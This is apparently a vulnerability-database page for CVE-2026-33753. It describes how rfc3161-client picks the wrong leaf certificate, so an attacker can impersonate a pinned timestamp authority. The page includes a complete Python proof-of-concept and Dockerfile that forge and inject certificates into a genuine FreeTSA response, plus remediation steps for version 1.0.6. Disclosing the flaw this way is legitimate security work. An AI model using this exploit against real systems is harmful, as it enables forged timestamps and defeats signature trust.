Skip to main content

OpenSSL EUVDEUVD-2026-20480

| CVE-2026-33753 MEDIUM
Improper Certificate Validation (CWE-295)
2026-04-08 https://github.com/trailofbits/rfc3161-client GHSA-3xxc-pwj6-jgrj
6.2
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
6.2 MEDIUM
AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
SUSE
MEDIUM
qualitative
Red Hat
6.2 MEDIUM
qualitative

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

Lifecycle Timeline

4
EUVD ID Assigned
Apr 08, 2026 - 15:16 euvd
EUVD-2026-20480
Analysis Generated
Apr 08, 2026 - 15:16 vuln.today
Patch released
Apr 08, 2026 - 15:16 nvd
Patch available
CVE Published
Apr 08, 2026 - 15:00 nvd
MEDIUM 6.2

DescriptionGitHub Advisory

Summary

An Authorization Bypass vulnerability in rfc3161-client's signature verification allows any attacker to impersonate a trusted TimeStamping Authority (TSA). By exploiting a logic flaw in how the library extracts the leaf certificate from an unordered PKCS#7 bag of certificates, an attacker can append a spoofed certificate matching the target common_name and Extended Key Usage (EKU) requirements. This tricks the library into verifying these authorization rules against the forged certificate while validating the cryptographic signature against an actual trusted TSA (such as FreeTSA), thereby bypassing the intended TSA authorization pinning entirely.

Details

The root cause lies in rfc3161_client.verify.Verifier._verify_leaf_certs(). The library attempts to locate the leaf certificate within the parsed TimeStampResponse PKCS#7 SignedData bag using a naive algorithm:

python
leaf_certificate_found = None
for cert in certs:
    if not [c for c in certs if c.issuer == cert.subject]:
        leaf_certificate_found = cert
        break

This loop erroneously assumes that the valid leaf certificate is simply the first certificate in the bag that does not issue any other certificate. It does not rely on checking the ESSCertID or ESSCertIDv2 cryptographic bindings specified in RFC 3161 (which binds the signature securely to the exact signer certificate).

An attacker can exploit this by:

  1. Acquiring a legitimate, authentic TimeStampResponse from *any* widely trusted public TSA (e.g., FreeTSA) that chains up to a Root CA trusted by the client.
  2. Generating a self-signed spoofed "proxy" certificate A with the exact Subject (e.g., CN=Intended Corporate TSA) and ExtendedKeyUsage (id-kp-timeStamping) required by the client's VerifierBuilder.
  3. Generating a dummy certificate D issued by the *actual* FreeTSA leaf certificate.
  4. Appending both A and D to the certificates list in the PKCS#7 SignedData of the TimeStampResponse.

When _verify_leaf_certs() executes, the dummy certificate D disqualifies the authentic FreeTSA leaf from being selected (because FreeTSA now technically "issues" D within the bag). The loop then evaluates the spoofed certificate A, realizes it issues nothing else in the bag, and selects it as leaf_certificate_found.

The library then processes the common_name and EKU checks exactly against A. Since A was explicitly forged to pass these checks, verification succeeds. Finally, the OpenSSL pkcs7_verify backend validates the actual cryptographic signature using the authentic FreeTSA certificate and trusted roots (ignoring the injected certs). The application wrongly trusts that the timestamp was granted by the pinned TSA.

PoC

The environment simulation and the PoC script have been included in the poc.py and Dockerfile artifacts:

Dockerfile (poc/Dockerfile):

dockerfile
FROM python:3.11-slim
RUN apt-get update && apt-get install -y build-essential libssl-dev libffi-dev python3-dev cargo rustc pkg-config git && rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY . /app/rfc3161-client
RUN pip install cryptography requests asn1crypto
WORKDIR /app/rfc3161-client
RUN pip install .
COPY poc/poc.py /app/poc.py
WORKDIR /app
CMD ["python", "poc.py"]

The attack flow locally demonstrated in poc/poc.py:

python
import base64
import requests
from rfc3161_client import TimestampRequestBuilder, decode_timestamp_response, HashAlgorithm
from rfc3161_client.verify import VerifierBuilder
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID
import datetime
from asn1crypto import cms, tsp

def main():
    print("[*] Generating TimeStampRequest...")
    req_builder = TimestampRequestBuilder(
        data=b"hello world",
        hash_algorithm=HashAlgorithm.SHA256,
        cert_req=True
    )
    req = req_builder.build()

    print("[*] Contacting FreeTSA to fetch a genuine digitally signed timestamp...")
    resp = requests.post(
        "https://freetsa.org/tsr",
        data=req.as_bytes(),
        headers={"Content-Type": "application/timestamp-query"}
    )
    if resp.status_code != 200:
        print("[-] Failed to get TSA response. Is the network up?")
        return

    tsa_resp_bytes = resp.content

    print("[*] Creating forged certificate (Common Name: Spoofed TSA, EKU: timeStamping)...")
    private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
    subject = issuer = x509.Name([
        x509.NameAttribute(NameOID.COMMON_NAME, "Spoofed TSA"),
    ])
# We create a self-signed spoofed certificate that meets all Python verification criteria
    cert = x509.CertificateBuilder().subject_name(
        subject
    ).issuer_name(
        issuer
    ).public_key(
        private_key.public_key()
    ).serial_number(
        x509.random_serial_number()
    ).not_valid_before(
        datetime.datetime.utcnow() - datetime.timedelta(days=1)
    ).not_valid_after(
        datetime.datetime.utcnow() + datetime.timedelta(days=1)
    ).add_extension(
        x509.ExtendedKeyUsage([ExtendedKeyUsageOID.TIME_STAMPING]),
        critical=True,
    ).sign(private_key, hashes.SHA256())

    fake_cert_der = cert.public_bytes(serialization.Encoding.DER)

    print("[*] Parsing the authentic PKCS#7 SignedData bag of certificates...")
    tinfo = tsp.TimeStampResp.load(tsa_resp_bytes)
    status = tinfo['status']['status'].native
    if status != 'granted':
        print(f"[-] Status not granted: {status}")
        return

    content_info = tinfo['time_stamp_token']
    assert content_info['content_type'].native == 'signed_data'
    signed_data = content_info['content']

    certs = signed_data['certificates']

    from asn1crypto.x509 import Certificate
    fake_cert_asn1 = Certificate.load(fake_cert_der)

    real_leaf_asn1 = None
    for c in certs:
        c_subject = c.chosen['tbs_certificate']['subject']
        issues_something = False
        for oc in certs:
            if c == oc: continue
            oc_issuer = oc.chosen['tbs_certificate']['issuer']
            if c_subject == oc_issuer:
                issues_something = True
                break
        if not issues_something:
            real_leaf_asn1 = c
            break

    if real_leaf_asn1:
        print("[*] Found the genuine TS leaf certificate. Creating a 'dummy node' to disqualify it from the library's naive leaf discovery...")
        real_leaf_crypto = x509.load_der_x509_certificate(real_leaf_asn1.dump())
        dummy_priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
        dummy_cert = x509.CertificateBuilder().subject_name(
            x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Dummy Entity")])
        ).issuer_name(
            real_leaf_crypto.subject
        ).public_key(
            dummy_priv.public_key()
        ).serial_number(
            x509.random_serial_number()
        ).not_valid_before(
            datetime.datetime.utcnow() - datetime.timedelta(days=1)
        ).not_valid_after(
            datetime.datetime.utcnow() + datetime.timedelta(days=1)
        ).sign(dummy_priv, hashes.SHA256())

        dummy_cert_asn1 = Certificate.load(dummy_cert.public_bytes(serialization.Encoding.DER))
        certs.append(dummy_cert_asn1)

    print("[*] Injecting the malicious spoofed proxy certificate into the response bag...")
    certs.append(fake_cert_asn1)

    malicious_resp_bytes = tinfo.dump()

    print("[*] Downloading FreeTSA Root Certificate Trust Anchor...")
    root_resp = requests.get("https://freetsa.org/files/cacert.pem")
    root_cert = x509.load_pem_x509_certificate(root_resp.content)
# We must also download TSA.crt which acts as an intermediate for FreeTSA
    tsa_resp_cert = requests.get("https://freetsa.org/files/tsa.crt")
    tsa_cert_obj = x509.load_pem_x509_certificate(tsa_resp_cert.content)

    print("[*] Initializing Verifier strictly pinning Common Name to 'Spoofed TSA'...")
    tsa_resp_obj = decode_timestamp_response(malicious_resp_bytes)

    verifier = VerifierBuilder(
        common_name="Spoofed TSA",
        roots=[root_cert],
        intermediates=[tsa_cert_obj],
    ).build()

    print("[*] Attempting Verification...")
    try:
        verifier.verify_message(tsa_resp_obj, b"hello world")
        print("\n\033[92m[+] VULNERABILITY CONFIRMED: Authorization Bypass successful! The Verifier accepted the authentic signature under the forged 'Spoofed TSA' name due to Trust Boundary Confusion.\033[0m\n")
    except Exception as e:
        print("\n\033[91m[-] Verification failed:\033[0m", e)

if __name__ == '__main__':
    main()
  1. Requests a timestamp from https://freetsa.org/tsr.
  2. Generates a fake cert with common_name="Spoofed TSA" and ExtendedKeyUsage=TIME_STAMPING.
  3. Parses the authentic TS response, injects a dummy cert issued by FreeTSA's leaf.
  4. Injects the fake cert into the bag.
  5. Invokes decode_timestamp_response() on the malicious bytes.
  6. Runs VerifierBuilder(common_name="Spoofed TSA", ...).verify_message(malicious_resp, msg).
  7. Observes a successful verification bypassing the common_name constraint.

Impact

Vulnerability Type: Authorization Bypass / Improper Certificate Validation / Trust Boundary Confusion Impact: High. Applications relying on rfc3161-client to guarantee the origin of a timestamp via tsa_certificate or common_name pinning are completely exposed to impersonation. An attacker can forge the identity of the TSA as long as they hold *any* valid timestamp from a CA trusted by the Verifier.

AnalysisAI

Authorization bypass in rfc3161-client's TimeStamp Authority (TSA) verification allows remote attackers to impersonate any trusted TSA by exploiting a naive leaf certificate selection algorithm in the PKCS#7 certificate chain. The vulnerability enables an attacker to inject a forged certificate with a target TSA's common name and timeStamping EKU into an authentic timestamp response, causing the library to validate authorization checks against the fake certificate while the cryptographic signatu

Technical ContextAI

The rfc3161-client library (CPE: pkg:pip/rfc3161-client) implements RFC 3161 timestamp verification by parsing PKCS#7 SignedData structures containing a bag of X.509 certificates. The root cause lies in the Verifier._verify_leaf_certs() method, which uses a flawed algorithm to identify the leaf (signing) certificate from an unordered certificate set. The algorithm naively selects the first certificate that does not issue any other certificate in the bag, without validating RFC 3161's cryptographic binding mechanism (ESSCertID or ESSCertIDv2 attributes) that cryptographically links the signature to the exact signer certificate. The library then checks authorization rules (common name, Extended Key Usage for timeStamping) against this selected certificate. An attacker exploits this trust boundary confusion by: (1) acquiring an authentic timestamp from any widely-trusted TSA (e.g., FreeTSA), (2) forging a self-signed certificate with the target TSA's subject name and timeStamping EKU, (3) injecting a dummy certificate issued by the real TSA's leaf certificate (disqualifying the genuine leaf), and (4) injecting the forged certificate into the PKCS#7 bag. The library's naive selection algorithm picks the forged certificate, authorization checks pass against the fake credentials, and OpenSSL's PKCS#7 signature validation succeeds using the legitimate TSA's key and trusted root chain, creating a critical false positive. The vulnerability affects all versions of rfc3161-client prior to 1.0.6.

RemediationAI

Vendor-released patch: rfc3161-client version 1.0.6 and later. The fix modifies the _verify_leaf_certs() method to correctly validate RFC 3161 ESSCertID or ESSCertIDv2 attributes that cryptographically bind the signature to the exact signer certificate, eliminating the naive certificate selection vulnerability. Upgrade immediately by running: pip install --upgrade rfc3161-client>=1.0.6. Verify the installed version matches or exceeds 1.0.6 using pip show rfc3161-client. The patch is available in the GitHub repository at https://github.com/trailofbits/rfc3161-client/releases/tag/v1.0.6 with detailed code changes at https://github.com/trailofbits/rfc3161-client/commit/4f7d372297b4fba7b0119e9f954e4495ec0592c0. Until patching is possible, applications should implement additional validation: verify timestamp signatures against the expected TSA certificate directly rather than relying on the library's common_name pinning alone, validate the certificate chain's authenticity through out-of-band means, and restrict timestamp sources to directly-connected trusted TSAs rather than public services. For compliance-critical deployments, conduct immediate audit of all timestamped documents issued prior to patching for potential forgery.

CVE-2014-0160 HIGH POC
7.5 Apr 07

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

CVE-2014-0195 MEDIUM POC
6.8 Jun 05

The dtls1_reassemble_fragment function in d1_both.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2016-0800 MEDIUM POC
5.9 Mar 01

The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and other products, requires a server to se

CVE-2015-0204 MEDIUM POC
4.3 Jan 09

The ssl3_get_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8zd, 1.0.0 before 1.0.0p, and 1.0.1 before 1.0.1k

CVE-2014-3566 LOW POC
3.4 Oct 15

The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other products, uses nondeterministic CBC padding, which mak

CVE-2016-2107 MEDIUM POC
5.9 May 05

The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a

CVE-2015-1793 MEDIUM POC
6.5 Jul 09

The X509_verify_cert function in crypto/x509/x509_vfy.c in OpenSSL 1.0.1n, 1.0.1o, 1.0.2b, and 1.0.2c does not properly

CVE-2022-3602 HIGH
7.5 Nov 01

A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Rated hig

CVE-2014-3470 MEDIUM
4.3 Jun 05

The ssl3_send_client_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before

CVE-2017-3730 HIGH POC
7.5 May 04

In OpenSSL 1.1.0 before 1.1.0d, if a malicious server supplies bad parameters for a DHE or ECDHE key exchange then this

CVE-2016-8610 HIGH
7.5 Nov 13

A denial of service flaw was found in OpenSSL 0.9.8, 1.0.1, 1.0.2 through 1.0.2h, and 1.1.0 in the way the TLS/SSL proto

Vendor StatusVendor

SUSE

Severity: Medium
Product Status
openSUSE Tumbleweed Fixed

Share

EUVD-2026-20480 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy